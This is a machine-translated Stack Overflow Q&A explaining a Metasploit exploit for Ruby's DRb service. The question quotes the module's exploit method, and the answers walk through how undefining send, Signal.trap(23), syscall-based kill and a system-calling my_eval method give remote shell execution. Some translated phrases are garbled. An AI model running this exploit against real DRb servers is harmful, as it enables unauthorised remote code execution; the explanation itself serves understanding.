我一直在使用metasploit查看DRb中的一个老bug,它使用以下方法:
def exploit
serveruri = datastore['URI']
DRb.start_service
p = DRbObject.new_with_uri(serveruri)
class << p
undef :send
end
p.send(:trap, 23, :"class Object\ndef my_eval(str)\nsystem(str.untaint)\nend\nend")
# syscall to decide whether it's 64 or 32 bit:
# it's getpid on 32bit which will succeed, and writev on 64bit
# which will fail due to missing args
begin
pid = p.send(:syscall, 20)
p.send(:syscall, 37, pid, 23)
rescue Errno::EBADF
# 64 bit system
pid = p.send(:syscall, 39)
p.send(:syscall, 62, pid, 23)
end
p.send(:my_eval, payload.encoded)
end我不是一个红宝石程序员,但我有一个一般的感觉发生了什么,除了几行。
有人能解释第5-9行发生了什么吗?(从"class << .“开始)
发布于 2017-05-20 15:16:42
class << p
undef :send
end这个未定义的对象p的p方法(send用于动态调用接收器上的方法)。
它这样做是为了利用DRbObject的method_missing实现,该实现将方法调用路由到远程对象。我不太熟悉DRb,但我猜想这样做可能是为了通过DRbServer的check_insecure_method检查,但我将把它留给您作为练习,因为它超出了这里提出的问题的范围。
一旦它通过method_missing完成了它需要做的事情,它就会在服务器进程上向Object添加一个方法my_eval,然后使用system作为一个shell命令来执行有效负载。
发布于 2017-05-20 18:51:25
class << p
undef :send
end此块未定义本地DRbObject实例上的DRbObject。正如Michael所指出的,如果DRbObject没有定义方法,它将使用method_missing将方法调用路由到远程服务器。
在这种情况下,所有后续的send调用都将被路由到远程服务器,并在那里进行评估,而不是本地实例。
p.send(:trap, 23, :"class Object\ndefmy_eval(str)\nsystem(str.untaint)\nend\nend")这将触发信号23的Signal.trap和一个符号,该符号似乎包含一个代码块,如果进行评估,该代码块将在Object上创建一个方法,该方法提供对shell的直接访问。
根据文档,Signal.trap可以用于在接收到来自操作系统的特定信号时运行块或命令。不太清楚什么是命令,所以我做了一些尝试。
> pid = fork { Signal.trap(23, :"puts 'test'"); puts "sleeping"; sleep 10 }
sleeping #=> 37162
>> Process.detach(pid) #=> #<Thread:0x007f9e13a61d60 sleep>
>> Process.kill(23, pid)
test #=> 1看起来,符号形式的命令将被转换为字符串,然后由Signal.trap编辑。
# syscall to decide whether it's 64 or 32 bit:
# it's getpid on 32bit which will succeed, and writev on 64bit
# which will fail due to missing args
begin
pid = p.send(:syscall, 20)
p.send(:syscall, 37, pid, 23)本节触发调用Unix内核函数的Kernel#syscall。rescue位处理64位syscall数字。让我们看看这里的32位部分:
p.send(:syscall, 20)应评估为sys_getpid()p.send(:syscall, 37, pid, 23)应评估为sys_kill(<pid>, 23)。这将触发早期为信号23设置的陷阱。最后,开发:
send以强制消息通过method_missingmethod_missing触发Signal.trap(23),并将一块红宝石代码转换为符号形式的一行字符串。Kernel#syscall获取当前正在运行的进程的PID。Kernel#syscall调用kill -23 <pid>,这将导致在2中设置的陷阱触发,这反过来又将所提供的符号转移到在Object上创建my_eval方法,该方法提供了对system (shell命令行访问)的访问。my_eval方法参考文献:
http://syscalls.kernelgrok.com/
https://ruby-doc.org/core-2.2.0/Signal.html#method-c-trap
https://ruby-doc.org/core-2.2.0/Kernel.html#method-i-syscall
https://stackoverflow.com/questions/44087455
复制相似问题